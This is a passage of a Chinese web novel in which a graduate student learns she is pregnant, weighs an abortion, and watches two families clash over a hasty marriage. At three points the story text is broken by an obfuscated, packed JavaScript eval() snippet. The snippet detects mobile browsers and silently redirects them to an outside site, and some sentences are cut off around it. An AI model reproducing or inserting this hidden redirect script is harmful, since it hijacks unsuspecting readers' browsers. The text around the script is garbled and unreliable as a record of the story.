李十安盯着天花板,四肢僵硬,不敢动弹,甚至连呼吸都变得小心翼翼。 况允驰在身旁,睡得很熟。他是侧着睡的,正对着她。浓密睫毛随呼吸轻微起伏。 好看,但是她却连一眼也不敢多看。 窗外仍有残留的夜色。被白纱窗帘遮挡,是朦胧一片的深蓝色。偶尔闪烁昨夜的霓虹灯光。 昨夜的事情,在脑海里反复闪现。 李十安紧皱眉头,努力甩去那副旖旎画面。她小心翼翼挪动。先挪一条腿,再挪一只手。压住床,使力,让身体悬空,放下。向床边移动了五厘米。每一个步骤都谨慎得过分。 重复,再来。再挪动五厘米。一直挪到腿能掉下床沿。 他好像没有被惊醒。 幸好。她终于下了床,抱着衣服走去卫生间,关上门,锁上门。动作缓慢,慢得像是电影里的慢镜头。总算拥有一个私密的空间。她快速穿上衣服,简单抚平褶皱。打开一点水龙头,漱口洗脸。水流哗哗,她向门外瞄了一眼,祈祷这声音不要过于明显。抽纸擦脸时,发现垃圾桶里还有昨晚的痕迹。 没眼看。红了脸颊。 顾不上梳头了,李十安随意抓几下,看得过去就行。她走出卫生间,往卧室门外走,像个小偷,生怕被主人发现。好不容易贴着墙边走过一长段路,都要开门了,才发现手机忘了带。昨晚睡觉时,习惯性地把手机压在了枕头底下。 倒霉。没手机可活不了。不得不去拿回来。 李十安做了好一阵心里建设,深呼吸,鼓足勇气,才终于原路返回,走到床边。 他仍在熟睡着。似乎没有被她的举动惊醒。 李十安屏住呼吸,捏着枕头一角,慢慢掀开。看到了手机的底部。只用两根手指,把手机拉出来,一点,又一点,慢慢拉动。 他没有醒。 李十安稳住手中的动作,谨慎直至顺利拿到手机。转身,蹑手蹑脚后退,神经紧绷。开门,出门,关门。有意等待了短暂的一刻,没听见室内有什么特别的动静。没把他吵醒。幸好。总算是关上最后一道防线,她长舒一口气。 嗐。 这都叫什么事。 *** 连续三个月没去况允驰家,也没在微信上给况允驰发消息。装作这件事从没发生过,也装作从没遇见过况允驰这个人。李十安选择了断联。逃避。 逃避虽可耻但有用。 中途也不是没有想过去找况允驰。毕竟李十安自己的家是压抑难熬的禁闭室,况允驰的家是黑暗风浪里的温暖港口。若不是发生这么一些变故,李十安其实很想留在那里的。但是一切被她搞砸了。 她曾经试图挽回。 坐地铁到达南汀站,出车厢,上电梯,一切进展顺利。然而刷二维码准备出站的那一刻,李十安的脑海里不由自主地总会想起那晚的片段。 他的体温似乎要更高一些,一团炽热的火焰。 有香气。似乎是他身上的香气,燃烧的松脂。 是用手背触碰到的腹肌。无意间的触碰,能感受到清晰的纹路。 仰头时,看到喉结很突出。 脸红心跳。 时隔这么久,仍然叫人脸红心跳。 别无办法,紧张得不行。李十安刚刷码出站,又立即原地返回,刷码进站,匆忙逃离他的世界。 *** 兴许是以前习惯了,日子过得不顺心时,就往况允驰家跑,得到片刻喘息。如今自由的栖息地被李十安亲手封存,遇到日子过得不顺心的时候,再也无处可去。 她失去了她的栖身地。 郁闷。永无止境的郁闷。生活找不到出路。 时间久了,阴郁心情一直笼罩着,心里的烦闷得不到有效的及时的缓解,积郁太久,负面情绪逐渐反应到了身体上。 李十安时常感觉到浑身酸痛。 夜晚,程菀照例与李十安并排坐下,讨论论文的修改事项。李十安坐的是一把靠背木椅,腰部塞一个抱枕,以为靠着会舒服些许。 程菀在旁边讲解,“实验结论的表述太口水话了,得改得书面一点。” 酸痛的感觉传来,李十安不舒服,左右轻微挪了一下,最后挺直腰板,试试换一个姿势会不会变得好受。 程菀继续讲解,“把叶霏的数据借来核对,一定要准确。” 李十安还是难受,左右抬起屁股,上半身来回晃动。 程菀质问,“你动去动来的干什么?” 李十安摸了下后腰下方,“我尾巴痛。” “亏你还是学生物的,那叫尾骨。”程菀摸着李十安的后腰下方,“这里?睡觉侧着睡。” 是只能侧着睡了。这地方碰一下都疼。 *** 李十安还变得对气味特别敏感。 坐公交车,坐在最后一排靠窗的位置上。冬天,车窗紧闭,暖气在车厢内循环。忽然闻到了一股烟味。李十安吸两下鼻子,确定是烟味没错。让人厌恶的味道。可观察四周,没有人对这气味有反应。 实在难闻。 李十安推开车窗,露出一道缝隙。冬风潮水那般钻进缝隙里,呼在脸上。清爽,但同时也确实冰冷。 站在过道上的女人提醒李十安,“妹妹,把窗户关上,快冻感冒了。” 男人附和,“车里开了暖气,你又把窗打开,岂不是浪费?” 李十安解释,“不是……因为有人抽烟。” 烟味逐渐弥漫开来,在车厢上方环绕。 年轻女孩左手捂住口鼻,右手当作扇子扇风,扇去烟味,“本来就闷,还抽烟,弄得我头晕恶心。” 中学生皱眉,提高音量喊道,“谁啊,这么没素质?怎么在公交车上抽烟!” 公交师傅回头,“唉,麻烦把烟灭了,车里禁止抽烟。” 是第一排的中年男人在抽烟,刚点上,刚抽了一口。一人一言,盯着他直到把烟熄灭。 李十安关上了车窗。 还是有烟味,残留一丝没有完全散尽的恶心。但是不能开窗了。没有办法,只能忍着。 *** 李十安同时有了昏昏沉沉的嗜睡症状。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14446120|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 以前在家时,入睡不是那么顺利。闭上眼睛,眼前就有乱七八糟的花花绿绿的画面,影响睡眠。睁开眼睛,又觉得困得不行,眼皮沉重。反反复复,总要一个小时左右才能睡着。 现在倒好,闭上眼睛就能睡着。 早上醒来也困难。 以前,程菀在外面喊一声,最多喊三声,李十安就能起床。现在不行,程菀光喊没用,还得敲门,推开门,掀开被子。 程菀质问,“你昨晚熬夜了?” 李十安睡眼惺忪,“没,可能昨天做实验太累了吧,站太久。” 到了中午,李十安习惯性睡个午觉。她犯懒,没回卧室,直接在沙发上睡。睡得沉,做了一个和况允驰一起做饭的梦。 厨房里,锅糊了。 幸好程菀及时到家,关了火,抬起一锅干瘪的绿豆汤。“你怎么看的火?”程菀有些生气。 “喔……没注意。”李十安揉着眼睛。 “往常不是睡一个小时就起的么?今天睡了两个多小时。” 李十安强忍睡意,支撑起身体,“睡过头了。”眼睛下面挂了两个黑眼袋。本来皮肤白皙,此刻竟已显出一些蜡黄。 气血严重不足。 *** 程菀给李十安预约了一个中医,说是医术好,能补足李十安的气血,“是我朋友的外婆。” 李赟纠正,“明明是你同事的朋友的外婆。” 程菀反驳,“那不就等于我朋友的外婆么。” 话太绕,李十安听得头晕,也没去过多关注。总之是位熟人介绍的中医。 程菀和李十安约好,做完实验后,李十安在学校西门等待,程菀来接她去诊所。医馆就在学校附近。 实验在中午十一点结束。途中没带手机。等李十安拿出手机来,才看到程菀的未接电话,以及两条消息。 [单位临时通知开会,我走不了。] [位置] [这是医生助理的电话,你到了和他联系,说是我带来的,他就能明白。] 李十安查看诊所位置,还好,不算太远,打车也就十分钟。虽然并不想看医生,不过比起空手回家被程菀一顿输出,李十安宁愿跑一趟诊所,抓几副药,省去麻烦。 诊所在一个小巷子里。下坡,榕树后,蓝色招牌白色题字。隐秘,但找起来没有太费劲。 助理很好说话,带李十安去到中医阿婆最里间的小办公室。 照惯例,先把脉。李十安的手搭在小枕上。中医阿婆生来一副严肃的脸,不苟言笑。李十安于是没有主动搭话,安静待着。 倒是助手解释了一句,“小姑娘来调气血,说经常头晕,腰酸背痛。” 中医阿婆没有说话,眉头皱了起来。 难不成是什么绝症么。李十安也被中医阿婆的模样弄得紧张。 中医阿婆换了手,指尖在李十安手腕上试探,认真专注。 李十安小心翼翼问道,“阿婆,我的病很严重吗?” 中医阿婆咋舌一声,沉默良久,最后终于开口。 “喜脉啊?” 14. 凛冬 李十安尝试过用其他方法来测验。 她买了验孕棒。下午测一次,两道红线。或许是品牌质量不行,检测结果有误。换个牌子试一试。晚上测了一次,换了一个品牌,可仍旧是两道红线。或许是检测样品不纯,影响检测结果。明天早上再试一试。早晨起床后立即测了一次,接中段,仍旧清晰的两道红线。 想一想,或许是这个方法本身就不行。自测哪有那么准确。 李十安考虑许久,决定去一趟医院。郊区的医院,不会碰见熟人的那种。 抽血,等待两个小时,得到化验结果。检查报告单上,标注出孕酮、HCG等字样。看不懂。看不懂的一律当作没有事。 不甘心,又去增加打了个B超,当场得到结果。检查报告单下方,明确地标注出,[宫内早孕]。 大脑一片空白。 李十安拿着报告单去找医生,“我这个是怀孕的意思吗?” 医生在报告单上用指甲划线,“单子上应该说得很清楚了吧。” 李十安想不通,“可是……可是我完全没吐过呐。” “每个人体质不一样,妊娠反应不同,不是所有人都会吐的。” “那……我前几天才来过月经。”李十安找到一丝希望。 医生问,“量大吗?” “量……”李十安回想,她确实有流血症状,不过量并不大,用护垫就足够。她回答,“一点点。” “什么颜色?” “红色?带一点点褐色的样子。” 医生明白过来,“那就不是月经,是孕初期出血。”她叮嘱李十安,“我给你开点药,按时吃。这段时间多休息,避免提重物,注意观察。” 这么些话充斥在李十安耳边,她听得见,但好像听不懂。 整个人是迷迷糊糊的状态。 拿着医生打印出来的药单,走在医院过道,不知不觉停下脚步。四周的人在身边来来回回,是一闪而过的迷糊身影。整个画面只有李十安是清晰的。嘈杂如退潮般逐渐熄灭,寂静无声。 李十安拿出手机,拨通了况允驰的电话。 *** 况允驰走出公司大楼。李十安正在路边树荫下等待。 他向她走了过去。 本来想说上一句,她怎么睡了他就消失了,一点不负责任。走近了才看到,她的眼眶红润。皮肤白皙,眼眶红得就愈发可怜。 况允驰问,“怎么了?” 李十安抬起头来,眼眸被泪水浸润,“我怀孕了。” 怀孕。 花了两秒才反应过来这个词的意思。 “怎么会……明明戴了的。” 李十安一股怒气窜上来,“你的意思是,我骗你?” “不是这个意思。”况允驰解释,“抱歉,遇到问题,习惯性找原因。” 真要找原因的话,只能是不大会控制力道,途中造成磨损。当时竟然没有注意到。 李十安把几张检查单递给况允驰。 孕酮,HCG,宫内早孕。这一切是真的发生了。 李十安擦了下溢出眼角的泪珠,“你看看能不能找到熟人,做手术什么的不会留下记录。不然被我妈发现,我会死得很惨的。私人诊所什么的都可以。你们公司经常会和医院合作,产科医生应该也能联系上的吧?我想尽快做完,越快越好。” 喋喋不休。语无伦次。能把这段话说出口,李十安已经花费仅剩的精力了。 况允驰一时没有开口。李十安还当况允驰是在回想他认识的医院熟人。 心情焦急,李十安没办法继续假装冷静地商量这件事,尤其是在陌生的他的公司附近,莫名有种压迫感。李十安想要逃离,“你今晚能给我答复吗?我先回家,晚上和你联系。” 她转身正要走,况允驰拉住李十安的手腕,唤了一声。 “十安。” “嗯?” 况允驰眉头微蹙,“这个孩子,是一定要打掉吗?” “啊?不然呢?” 李十安的音量不知不觉提高了。得知怀孕后,第一反应是要打掉。她以为他的想法会是一样的。“你不会想留下吧?”李十安眼眶红润,质问道,“现在这种情况,怎么能要孩子?” “十安,”况允驰低声道,“要不我们结婚吧。” 李十安愣了下,用力抽出手。 “你疯了?” *** 因为赌气,李十安立刻打车,去往最近的医院。随便选个医生,随便挂个号。进入医生办公室,关上门,坐在椅子上,憋着一股气,一股脑说出目的,“医生你好,我想打胎。” 不在一开始说出口的话,可能就再没有勇气说了。 医生看一眼李十安,长相带点幼态。为了确认,问了一句,“今年多大?” “二十五。” 成年了,可以自主做决定。医生点开系统页面,开始录入信息。 “李十安,二十五。男方年龄?” “也是二十五。” “准备药流还是人流?” “药流不用做手术是不是?” “对,吃药就行。” “那就药流。” “末次月经是什么时候?” “啊?” 如果把出血算作月经的话,那就是五天前。可如今看来这个回答不太现实。但要真计算末次月经,李十安记不清,也分不清。 “是要算怀孕多久吗?”李十安拿出检查单,“这是我在其他医院做的检查。” 医生拿着单子,查看检查结果,“怀孕十二周,做不了药流,只能人流。” “啊?啊。”李十安心里压抑的石头,又更深了一层。 医生敲击键盘,“我先给你开住院单,下星期……” “还要住院?” “废话,毕竟是个手术。” 对的,想来是这样的,很明白的事情。但李十安在这之前,从没想过住院的问题。 医生继续说道,“先预缴费,一百两百都行。下星期三直接去住院部办理住院手续。” “下星期三?今天不能做吗?” “今天怎么做得了?还得先检查。”医生打印单子,纸张卡在盒子中央。她想替换,拨弄几下没反应,自言自语,“这盒子怎么打不开了?” 李十安问道,“还要做检查吗?我这个检查是今天上午才做的。这个不行吗?” “这个……”医生举着检查单,往后推一下座椅,侧头大声问道,“兰姐,月照区第三人民医院的单子,我们这儿能用吗?” 里头侧门另一侧,传来了兰姐洪亮的声音。 “什么时候做的?” “说是今天上午。” “做来干什么?” “病人想做人流。” “不兼容,其他医院的检查单好像没办法录入系统。” “对啊,麻烦,住院部那边查不到记录,又得抱怨。” “反正做人流之前也得重新评估,就再做一个吧。” 高声讨论病情,声音在办公室上空回荡。 李十安耳廓有些发红。 她鼓足了勇气才说出口做人流这件事,她觉得是一件极度私密的事情。但是对于医生们而言,她只是一个病例,需要客观探讨。 把见不得光的秘密摊到桌面上。 “还是得开个单子。”医生向李十安解释,“做人流之前是必须要评估的,你这就当评估了。” 兰姐带着两个实习生走过李十安身边,走出房间。陌生人。他们甚至没看李十安一眼。 李十安应道,“嗯。” 医生把卷纸塞进盒子里,用力关上,“今天下午打B超,明天上午来抽血,抽血之前记得空腹。” “好。” 单子打印出来,交到李十安手中。 “你先缴费,之后到四楼B超区服务台排队。” “嗯。” “术前一周禁止同房,饮食清淡。术前那晚洗个澡,之后八小时禁食禁水。如果不想穿病号服,就带套自己的睡衣,要纯棉的。” “嗯。” “手术必须要家属陪同。” “嗯。” “术后卧床休息,不过每天也要适量走动。前两天不能洗澡,一个月内不能同房。现在记不住没关系,到时候护士也会告诉你的。” “嗯。” 一个只会回复“嗯”的机器人。被抽走灵魂。 一切和想象中完全不一样。 以为会有人坐在她身边,耐心温柔地关心她的情况。 “为什么不要这个小孩呢?” “不是你的错,这是很正常的事情。” “没关系的,别害怕。” “我们陪在你身边。” 可现实世界是在忙碌运转的。理智,严谨,客观,科学。她被推着走。四周的人这么多,每个人都有自己的事情,每个人都在遵照社会规则有序生活着。 她只是茫茫众生中的渺小一个。 肚子里的小孩也是。 李十安眼角溢出一滴眼泪。 擦掉眼泪。 成年人,该为自己的决定全权负责。这是做人的基本素养。所以走吧,继续去完成下一个步骤。 *** B超室门口排了一些人,男女老少都有。李十安坐在靠墙的位置上,等待医生叫号。 身旁坐着一个少妇,三十出头的样子,精神气很好。少妇问道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14446121|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹妹,几个月了?” 李十安正在出神。听见问话,回了一句,“三个月。” “我六个月。”少妇聊着天,“我怎么老觉得,我这六个月的肚子,比别人八个月的还大?你觉得呢?” 李十安看了一眼,“还好吧,差不多。” “是吗?”少妇摸着肚子,从上到下,在肚脐左侧忽然停了下来,“诶,在动!” 肚子里的小孩在动。李十安从来没有过这样的体验。 “蛮好玩的,”少妇笑道,“你摸摸看?” “可以吗?” “有什么不可以的?” 出于好奇,李十安把手心贴在了少妇肚子上。一个小东西从左到右滑过,速度很快。 “在游泳。这几天是上午游得开心,一到中午就不怎么游了,开始睡觉。” 一种很神奇的感觉。是真的有个东西在肚子里面生活着,一个小人。 排到少妇的号,她进了B超室。隔了大约五分钟,李十安也被叫进去,在帘子后面等待。 一同等待的女人,据她自己说,今年有三十五岁了。她问李十安,“刚怀?一点不明显。” 李十安点头,“嗯。” 女人猜测李十安的年龄,“有二十二?” “二十五,快二十六了。” “看起来显小。”女人感慨,“还是你们年轻好。” 李十安没听明白,“怎么这么说?” “诶——”女人脚搭在凳子脚踏上,“你们怀孕这么轻松。哪像我们,备孕三年,一点动静都没有。” 李十安惊讶,“备孕要三年那么久?” “我另一个朋友,备孕五年也没成,准备做试管。” 原来世上还有那么些没办法顺利怀孕的人。 讽刺。 想怀的人三五年怀不上,不想怀的人第一次就中招。什么世道。 女人又想问,“你们是备孕多久……” “帘子后面的人不要说话。”医生传来了提醒,女人识趣地闭上嘴。 觉得这样的谈话结束地过于仓促,女人顿了顿,凑过来,对李十安低声耳语,“恭喜啊。” 李十安愣了下。 从知道这个孩子存在的那一刻起,李十安下意识地认为这是个累赘,是个需要被消除的累赘。从来没有想过在某个瞬间,会有人对她说一声,恭喜。 恭喜。 属于祝福的词语。 医生叫了那人进入帘内。等她检查完,轮到李十安。 冰凉的机器在腹部游移。天花板上的顶灯白光眩晕。 很快做完了检查。 李十安按照医生的吩咐,在帘后等待几分钟,拿取报告。同时已经有新的人躺在床上了,正在做检查。李十安余光看到了电脑屏幕上显示出的,红棕色的,逐渐清晰的小人轮廓。听见了他们的对话。 “哎哟,手手遮住脸了。” “手指脚趾发育很好。” “怎么翻身了。” “踹了探头一脚哈哈。” “宝宝不配合,出来打屁股。” 画像里,小孩的双腿举了起来,双手放到嘴边,吮吸手指。 生命的具象化,于世间存在的证明。 她看得清晰。 *** 医院大厅的光线显得暗。不知道是不是李十安的错觉。好像被封闭在一个巨大的盒子里。说话有回声。不知道是不是太多人在说话,误听成了回声。推轮椅的人走在边上。推病床的人等着坐最宽敞的电梯。提药袋的人走到门口又折返回去。 李十安双腿没了力气。耳鸣。脑袋混沌。 脑海里不停浮现出检查单上的词语。宫内早孕。子宫前壁。胎芽。原始心管搏动。 原始心管搏动。 心跳。 李十安没注意,左鞋鞋带散开,右脚踩上去,绊了一下,踉跄,手机掉到地上,在地面旋转滑行,停在脚边。 正要弯腰去捡,男人蹲在她身前,替她系好左鞋鞋带。简单的白色蝴蝶结。右鞋也拉紧一些,确保牢固。再捡起手机,站起来,出现在她面前。 况允驰。 她的眼眶在一瞬间变得红润。嘴角向下撇。 特别委屈。 不停地告诫自己,不能哭,不能哭。但眼泪不受控制,大颗大颗往下掉,迅速浸润白皙的脸颊。 他捧着她的脸,替她擦去泪水。 情绪翻涌。尽管禁抿双唇,仍克制不住抽搐两下,肩膀耸动。 他把她抱进了怀里。不停抚摸她的发丝。终于听到了她极其小声的嘤咛。更用力地抱紧了些。 结实温暖的胸膛,以及他的低沉的声音。 “别怕,我来担。” 15. 银杏 这件事情瞒不住的。程菀有中医阿婆的联系方式。只用打去一个电话,整件事情就会暴露。只是没想到,会暴露得这么快。 两张检查单摆在茶几上。被折叠太多次了,纸张上面有很深的折痕。卧室抽屉和柜子有被翻找过的痕迹。 程菀质问,“这是什么?” 李十安没有回答。答案已经很明显。 “如果不是我想起来给中医助理打个电话,我还不知道你竟然这么能干。”程菀努力压制怒气,“那天回来你是怎么说的?说药方已经开好了,药还没熬好,隔几天去取药就行。是不是这么说的?” 是。但是现在承认也没有任何意义。李十安坐在沙发一角,没有抬头。 程菀讥笑,“能耐啊,现在撒谎真是信手拈来。” 不知道为什么,比起害怕,李十安心里更觉得堵了一口气。她攥紧衣角。 程菀冷漠问道,“谁的?” 李十安仍旧没有回答。 李赟坐在母女俩中间,企图阻挡随时可能发生的碰撞。他督促道,“十安,妈妈问你话呢。” 李十安终于开口,“说了你也不认识。” “不认识,呵——”程菀讥笑一声,“哪里捡的野男人?” 李十安抬起头来,涨红了脸。 “知道害臊了?找野男人做这种事情的时候,就不知道害臊?”程菀声音克制不住地提高不少,一团火在心中爆发,忍无可忍,“我养你二十几年,把你捧在手心里,衣食住行样样给你挑最好的档次,难道就为了把你养成这副德行?” 程菀说得眼眶红了,声音颤抖。 李赟摁住程菀搭在沙发上的右手,“十安,妈妈也是心疼你。” 程菀使劲抽出右手,擦一把眼角的眼泪,“我只希望你一生清清白白,做个正经女孩。你想谈恋爱,可以,我说过,等你毕业了,我会给你找个同样干净的门当户对的男生。可是……你现在搞成这样,以后怎么嫁人?谁敢要你?” 李十安憋着一口气,小声嘀咕,“他要我,我嫁给他不就行了。” 程菀怒目,“你说什么?” “我说,”李十安赌气,直视程菀,一字一句说出口。 “我、要、和、他、结、婚。” “你!” 程菀站起来,越过李赟。李赟试图阻挡,被程菀一把推开。她走到了李十安面前。猛然抬起右手手掌。李十安仰头,对峙,但害怕得不自觉地闭上眼睛。 秒针走了五步。 没有响动。 李十安小心翼翼地睁开了眼睛。 程菀攥紧拳头,眼眶猩红。 “叫他来,明天我要见他。” *** 见面定在景和西路的茶馆里。 李十安和况允驰先到。他们特意挑选了一个隐秘的安静的转角位置,两级木梯之上,四平米大小。一面是书墙,另两面是落地窗。窗外连接古朴小院落,院中矗立一棵硕大的百年银杏。地上铺满金色的银杏叶片。 空间里只有一张长条状木质茶桌,整齐摆放着烟雨绿茶具,以及三杯盖碗茶,泡的是茉莉花茶。 李十安提议,是否要坐在同一边,共同抵抗程菀,“两个人对一个人,不怕比不过。” “又不是比赛。”况允驰摸一下李十安的脑袋,“你和阿姨坐上方。我对阿姨要有起码的尊重。” 结果最后他们是坐在长条茶桌的两边,斜对面。 等了十五分钟左右,程菀来了。坐在李十安身旁,和况允驰面对面。 神情严肃。程菀开口第一句话是,“有没有性病?” 李十安惊了,“妈!你不能这样侮辱人!” 程菀瞠目责骂,“你闭嘴!” 剑拔弩张的开端。 “没事。”况允驰礼貌应道,“阿姨的调查,我全力配合。” 程菀喝了一口茉莉花茶。缓缓,理清思路。她向况允驰提要求,“体检报告拿给我看,要最近半年的。” 况允驰从黑色背包里,拿出一份体检报告,“这是公司一个月前刚组织的体检。” 一本附属医院的硬壳体检报告,程菀最先翻开的是结论那一页。最大的身体健康问题,是窦性心律不齐。 幸好。幸好。 程菀合上体检报告,又重新从第一页开始翻阅。 血细胞分析,正常。 肿瘤标志物分析,正常。 体检生化,正常。 心脏彩超,正常。 腹部彩超,正常。 可以放心了,起码是个健康的人。 程菀把体检报告推还给况允驰,“简历给我看看。” 李十安心里嘀咕,这是面试么,还要看简历。 况允驰从黑色背包里拿出简历,递给程菀。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14446122|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 标准详尽的简历,记载况允驰的诸多关键信息。 年龄25,可以,和李十安同龄。 民族汉族,可以,这个倒是什么民族都可以。 身高187,可以,看得出来是个高个子。 B型血,可以,只要不是熊猫血就行。 户籍青山市,可以,本地人。 学历生物学博士,可以,同专业,对李十安学业有帮助。 程菀向况允驰要佐证资料,“毕业证和学位证给我看看。” 况允驰翻开黑色背包,拿出程菀需要的两样证书。 李十安在一旁看着,有些惊讶。他连这都准备了? 证书上贴着况允驰的证件照,清秀,俊朗。证书下有一排独一无二的编号。程菀打开学信网,逐一输入编号核实。 学历没问题。这个学历能为李十安提供帮助。 程菀继续往下看,忽然想到了什么,问道,“征信报告和无犯罪记录证明有吗?” 李十安这下真的坐不住了,“妈!你搞政审呢!”到底是为什么才会要这么多稀奇古怪的东西。 况允驰拿出了一叠燕尾夹夹住的文件,“这里都有。” 李十安快失语了,搞不懂眼前的情况。一个什么都敢要,一个要什么都有。 程菀翻阅纸页,主要查看是否有公章。 没问题,身世清白。 单看条件,是个各方面都顶配的对象。李十安不吃亏。 程菀较之前稍放松了些。她喝一口茉莉花茶,已经变凉了,但不影响她的口感。她放缓语气,“我对你已经有了大致了解,心里有数。至于你有几套房几辆车,我就不多问了,那是你的隐私。” 李十安都替况允驰感到郁闷。明明该问的不该问的全问完了,底裤都被扒干净了,现在倒想起隐私这件事来。 程菀简单整理摆在桌上的文件资料,推还给况允驰,“至于其他的事情,我们找机会……” 话语忽然停住。 小指搭上的页面一角,记载着父母的信息。这么显眼,刚才竟然完全没有看见。 程菀赶忙翻开那一页,只看了一眼,愣住。 “况允驰,况允驰。”程菀重复着况允驰的名字,心里一惊,抬头问道,“你是付雯娜的儿子?” “嗯。”况允驰礼貌应道—— “阿姨,好久不见。” 16. 餐厅 如果况允驰不是付雯娜的儿子,那还好办许多。一八七的博士,还长得那么好看,哪个妈妈看了不迷糊。 可他偏偏是付雯娜的儿子。 两家人见面之前,李赟特意叮嘱程菀,“心平气和地交谈,把各自的需求客观表述清楚就行。” 程菀摆手,“知道。” 一次双方家长会面,弄得有种暗潮汹涌的感觉。 李十安一头雾水。付雯娜她见过,那个戴珍珠耳环的阿姨。她记得程菀和付雯娜关系挺不错的。上上次见面,两个人聊得挺开心。上次见面,是在街边偶遇,程菀还主动捎了付雯娜一段路。按理说,相处应该和谐才对。 想不明白,她们到底是怎么一回事。李十安想问,却一直找不到机会问出口。 *** 蔚蓝湖的瑰丽厅包间里。首次见面,只有当事人和双方父母,一共六人。人少,聊天也隐秘。 起初的聊天氛围平和,没有涉及正事,聊的是家常。 李赟问,“什么时候回来的?” 况为答,“去年五月。” “杭州那边公司不干了?” “要干,交给别人干。” “这次回青山,就不走了?” “不走了,外面吃不惯。” “那是,都说青山人,离不开青山。” “是呐。” 屋内暖气开得足。李赟已经脱掉外套,还嫌热,又脱掉针织衫,单穿一件衬衣。况允驰替李赟把衬衣挂到了衣架上。 李赟看见况允驰,脑海里冒出“一表人才”四个字。刚进门就已经夸过一表人才了,现在每见一次,就想再夸一次。 “早就听程菀说,碰见过雯娜。一直想着,有机会聚一聚。”李赟笑道,“现在好了,咱们两亲家,能天天聚。” 况为感慨,“是呐,就有那么巧的事,两个小孩在一起了。” 付雯娜学况为说话,拉长声音,“是呐——世界那么小,偏偏是我儿子和你女儿谈恋爱。” “谈恋爱这个词,用得不是很准确。”程菀纠正付雯娜,“是你儿子单方面搞大我女儿的肚子。” 仿佛一声雷响。 一直提心吊胆的雷暴终于来了。 付雯娜把筷子搭在碗上,面带微笑,“这么说来,单方面这个词也用得不是很准确。你女儿不主动勾搭我儿子,还会发生这种事?” 程菀被气笑了,“不好意思,请问你儿子是什么大人物吗?所有人都要勾搭他?” 付雯娜故作为难,“也不是什么大人物,不过是个长得帅的187博士,还没毕业就被景和生物高薪预订的项目组长,而、已。”故意把最后两个字说得很重,抑扬顿挫。 “哈?这是什么很了不起的成就吗?”程菀哂笑,“看来你不是很了解行情。你儿子这种条件,想配我女儿,只属于我们可以勉强考虑的第二梯队。” 程菀将手搭在白色大理石转桌上,付雯娜也将手搭了上去。程菀要向左转,付雯娜要向右转。僵持不下,白色大理石转桌最终变成忽左忽右的摇晃格局。 吵架的是她们,局促的是李十安。 她给况允驰发消息:[想跑。] 况允驰回复:[没事。] 屋内的空气如同摇晃的转桌,拨动人心。 最后程菀松了手。付雯娜也松了手。 程菀喝了一口茶,语气淡定,“既然你儿子都有这么高的学历了,是不是也应该同时提升下人品?别整天想着男女之事,祸害乖乖女。” 付雯娜不服气,“为什么会用祸害这个词?男女之事是人之常情。既然双方你情我愿,那不就是一件很正常的事吗?也不能一遇到这种情况,就默认女方是吃亏的那一方吧?女方就永远是被选择的吗?” 况允驰是一直没说话的,听到付雯娜这么一句话后,终于开了口。 “是的,阿姨。”况允驰理智说道,“生物学上,这本来就是人类之间的正常行为。女性应该拥有主动追求的权利,这不是一种羞耻。” 空气冷却,气氛凝固了几秒。 随后而来的是程菀极力压制的怒气,“付雯娜,你就是这么教育儿子的?这是面对长辈该有的礼貌吗?” 付雯娜反驳,“他说得不对吗?没有道理吗?” “你……” 现场乱成一团麻。程菀的碗筷掉落到地上。当然不是故意气愤摔的,是动作太大,不慎摔下去的。叮当响。两个丈夫急忙劝解,左一言右一语。加上程菀的喋喋不休和付雯娜不服气的反驳,房间里全是说话的声音。 李十安脑瓜疼。她瞄一眼餐桌另一边的况允驰,心里冒出一个想法。这人胆子是真大。 餐桌那边,付雯娜找着空隙,低头叮嘱了况允驰几句,“你这个时候不该帮腔。” 况允驰解释,“我不是帮腔,是科学讨论。” “现在是讨论科学的时候吗?”付雯娜嘀咕,“待会儿去道歉。” 况允驰抬头看了看李十安,她正朝自己苦笑一下。他于是答应了付雯娜,“好。” *** 道歉是在饭后进行的。 餐厅的走廊转角,有个十平方大小的圆厅,墨色装潢,落地窗环绕,窗外倒映城市霓虹。 况允驰站在程菀跟前,低着头。程菀神情已经趋于平和。不过程菀属于气场强大的那一类人,即便是平和地说话,也任然透露出一丝威严。 由于李十安刚才在包厢里遭受了那么一场诡异的斗争,即便只是作为一个旁观者,全程没有说话,但她仍然感觉精疲力尽。 这样的场景她是再也不想经历第二次了。 李十安不敢上前,隔着一段距离,默默等待。 程菀和况允驰的轮廓被夜色勾勒清晰。他安静地接受教育。偶尔点头应和。奇特的画面。头一回见他这副模样。 往日里看着冷漠傲娇的人,面对长辈时也会谦卑地低头认错。 李十安偷偷拍下一张照片,发给况允驰。 [看起来挺熟练,看来读书时候没少被老师罚站。] 